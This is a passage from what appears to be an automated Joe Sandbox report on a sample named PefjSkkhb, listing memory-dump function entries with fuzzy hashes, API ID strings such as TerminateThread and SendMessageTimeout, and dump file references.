                                                                                                                                                                            • Instruction Fuzzy Hash: 60312932B18756CAE7609F01A84437D7BA2FB86BD1F5402B9DA8987758CF7CE485DB00
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2067211477-0
                                                                                                                                                                            • Opcode ID: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
                                                                                                                                                                            • Instruction ID: bcf9ce53f8f77b43a18eb6361469c13673505a954051b2e39903e313c3d90cd1
                                                                                                                                                                            • Opcode Fuzzy Hash: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
                                                                                                                                                                            • Instruction Fuzzy Hash: 60215B35A0978686EE24DF65A45017AA2A0EF86FC0F4844B0EA4D8BF9DDF3CE4049620
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _set_statfp
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1156100317-0
                                                                                                                                                                            • Opcode ID: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
                                                                                                                                                                            • Instruction ID: d105235a24e0e0b8fec1fa0543cf0141f93287061be27d12ccbc9c8a28133db5
                                                                                                                                                                            • Opcode Fuzzy Hash: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
                                                                                                                                                                            • Instruction Fuzzy Hash: B4118F36E1C6034DF6741B39E4423751162EF573E0F0566B4EB6EC6EDECE1CA8428118
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Initialize__scrt_fastfail__scrt_initialize_default_local_stdio_options__scrt_initialize_onexit_tables_invalid_parameter_noinfo_onexit_set_fmode
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2117695475-0
                                                                                                                                                                            • Opcode ID: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
                                                                                                                                                                            • Instruction ID: fcba0f6b10a29ab1105c687001a3bb107db168f4ea918d97d5dbe3f611a85f17
                                                                                                                                                                            • Opcode Fuzzy Hash: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
                                                                                                                                                                            • Instruction Fuzzy Hash: 7711CD70E0894305FA747FB0545A2BC3281CF837E1F4404B8E64DDA6CBED1CA7604622
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: From$Prog$FreeStringTasklstrcmpi
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3897988419-0
                                                                                                                                                                            • Opcode ID: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
                                                                                                                                                                            • Instruction ID: 04ffa357f703e42fa4a7f4971d8a771d5e285ba6ef120a6aa61457087bba3f6c
                                                                                                                                                                            • Opcode Fuzzy Hash: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
                                                                                                                                                                            • Instruction Fuzzy Hash: 6F110C36A08A8286E764AF26E45032A62A4EF86FD5F184074DE5EC775CDF7DE4458700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2833360925-0
                                                                                                                                                                            • Opcode ID: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
                                                                                                                                                                            • Instruction ID: 3d30b84f35480bb1c81527465a1fcc582c6ee39394c839db6d8da5aecf3ef8d5
                                                                                                                                                                            • Opcode Fuzzy Hash: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
                                                                                                                                                                            • Instruction Fuzzy Hash: AC018F35A18A0282FB25AF35A8D91399361FF97BC2F544276E50FD25A9DF2CF4C5C600
                                                                                                                                                                            APIs
                                                                                                                                                                            • EnterCriticalSection.KERNEL32(?,?,?,00007FF697BA29AD,?,?,?,00007FF697B52AB2), ref: 00007FF697BC003C
                                                                                                                                                                            • TerminateThread.KERNEL32(?,?,?,00007FF697BA29AD,?,?,?,00007FF697B52AB2), ref: 00007FF697BC0047
                                                                                                                                                                            • WaitForSingleObject.KERNEL32(?,?,?,00007FF697BA29AD,?,?,?,00007FF697B52AB2), ref: 00007FF697BC0055
                                                                                                                                                                            • ~SyncLockT.VCCORLIB ref: 00007FF697BC005E
                                                                                                                                                                              • Part of subcall function 00007FF697BBF7B8: CloseHandle.KERNEL32(?,?,?,00007FF697BC0063,?,?,?,00007FF697BA29AD,?,?,?,00007FF697B52AB2), ref: 00007FF697BBF7C9
                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(?,?,?,00007FF697BA29AD,?,?,?,00007FF697B52AB2), ref: 00007FF697BC006A
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CriticalSection$CloseEnterHandleLeaveLockObjectSingleSyncTerminateThreadWait
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3142591903-0
                                                                                                                                                                            • Opcode ID: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
                                                                                                                                                                            • Instruction ID: e3e2ea37a7ae3eb6311659711a91b677d1816db9c29cfc1a63fdea568c8d0940
                                                                                                                                                                            • Opcode Fuzzy Hash: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
                                                                                                                                                                            • Instruction Fuzzy Hash: 7E01083AA18B4596E760AF19E48422D7360FB89B91F244075DB8E83B69CF3CD896C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ErrorExitLastThread
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1611280651-0
                                                                                                                                                                            • Opcode ID: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
                                                                                                                                                                            • Instruction ID: 478668f4f80e7c3a44eae3c312999b8b9d776c7becd452adf0bdb7de610cb0d4
                                                                                                                                                                            • Opcode Fuzzy Hash: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
                                                                                                                                                                            • Instruction Fuzzy Hash: 4C014F35B0864692EA246F20948417C2265FF82BF5F5057B9C63E82AD9DF3CE9588300
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2625713937-0
                                                                                                                                                                            • Opcode ID: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
                                                                                                                                                                            • Instruction ID: 042acfd61895f3e77b6ed8ef7ece32641cdb6c434ed9b51c6f8c1b595bd97e44
                                                                                                                                                                            • Opcode Fuzzy Hash: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
                                                                                                                                                                            • Instruction Fuzzy Hash: B1012136E0CA4ADAF775AF11A99437C2772FF46BD5F1842B4C59D862A4CF7DA084A300
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 179993514-0
                                                                                                                                                                            • Opcode ID: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
                                                                                                                                                                            • Instruction ID: 6faf579cfc6ad8b142e880f8ae87f0db3975a0ed11bebd869aabcbefe64f65b5
                                                                                                                                                                            • Opcode Fuzzy Hash: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
                                                                                                                                                                            • Instruction Fuzzy Hash: 05F03038F1860243FB742F7268982755391EF4EBC1F8450B0CD0BC2259ED7DA8995650
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 179993514-0
                                                                                                                                                                            • Opcode ID: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
                                                                                                                                                                            • Instruction ID: 0143e6cb69b84200002286df64fc2901a3ba409c3881948d6098edc71f377318
                                                                                                                                                                            • Opcode Fuzzy Hash: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
                                                                                                                                                                            • Instruction Fuzzy Hash: 7AF0C038F1861283FB742FB668896791791EF8ABC1F8450B0CD0AC2259DD3DA4999650
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfo
                                                                                                                                                                            • String ID: UTF-16LEUNICODE$UTF-8$ccs
                                                                                                                                                                            • API String ID: 3215553584-1196891531
                                                                                                                                                                            • Opcode ID: c3c6110ef47f8474b3aee38d103288009a94a732d54534d718fbbb8757739500
                                                                                                                                                                            • Instruction ID: f12a9ff2e069f4eb8e8dc4d7fe9a87b5a017623ca941386ee9b7ca546bef4c76
                                                                                                                                                                            • Opcode Fuzzy Hash: c3c6110ef47f8474b3aee38d103288009a94a732d54534d718fbbb8757739500
                                                                                                                                                                            • Instruction Fuzzy Hash: 7B819D72E0820386FB746F2596502BD26A0EF237D4F5480B5EE1ED3698EF6DE950D301
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfo
                                                                                                                                                                            • String ID: $*
                                                                                                                                                                            • API String ID: 3215553584-3982473090
                                                                                                                                                                            • Opcode ID: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
                                                                                                                                                                            • Instruction ID: 7de5f7d89a67120f02acaeaed68e7b2dc0c9bc598d5e13aa29b599a176d828d6
                                                                                                                                                                            • Opcode Fuzzy Hash: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
                                                                                                                                                                            • Instruction Fuzzy Hash: 46615372A1CA8286E7798F24806537E3BB1FB47BA8F3411B5C74A8559DEF28E641C701
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _set_statfp
                                                                                                                                                                            • String ID: !$acos
                                                                                                                                                                            • API String ID: 1156100317-2870037509
                                                                                                                                                                            • Opcode ID: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
                                                                                                                                                                            • Instruction ID: fb8e9502f0d031cc1a1f3c7bf1f70daf5e44d6ea6fbe5b36da44885b1c7be539
                                                                                                                                                                            • Opcode Fuzzy Hash: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
                                                                                                                                                                            • Instruction Fuzzy Hash: 7861A035D28F45C8E2738F38981137A9764EFA77D4F118376E95EB5E68DF2CA0829600
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _set_statfp
                                                                                                                                                                            • String ID: !$asin
                                                                                                                                                                            • API String ID: 1156100317-2188059690
                                                                                                                                                                            • Opcode ID: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
                                                                                                                                                                            • Instruction ID: a9c9f763446910d5b94a5ca2299b47504721d2a5de821f103a8bb80a9da4573a
                                                                                                                                                                            • Opcode Fuzzy Hash: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
                                                                                                                                                                            • Instruction Fuzzy Hash: 1061A436D28F8589E663CF3498113769764FFA73D4F108372E95EB5A69DF2CE0829600
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Menu$Delete$InfoItem
                                                                                                                                                                            • String ID: P
                                                                                                                                                                            • API String ID: 135850232-3110715001
                                                                                                                                                                            • Opcode ID: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
                                                                                                                                                                            • Instruction ID: 8594bcafa5ccefa3f4f45af0689876903d7d8b8039d5da95cc9d686aa4e46483
                                                                                                                                                                            • Opcode Fuzzy Hash: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
                                                                                                                                                                            • Instruction Fuzzy Hash: 8E41A132E08A8181EB70DF15C4853A96761EB86FE0F168271EE6D877D9DF38E542C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$Long
                                                                                                                                                                            • String ID: SysTreeView32
                                                                                                                                                                            • API String ID: 847901565-1698111956
                                                                                                                                                                            • Opcode ID: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
                                                                                                                                                                            • Instruction ID: 4172a067a5c27893f5cc2fa5de006d28aff5f20fd18ae4c5ead9b7884511729d
                                                                                                                                                                            • Opcode Fuzzy Hash: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
                                                                                                                                                                            • Instruction Fuzzy Hash: 59416D32A097828AE7709F18E444BAA77A1FB857A0F144375DAA843B99DF3CD845CF40
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
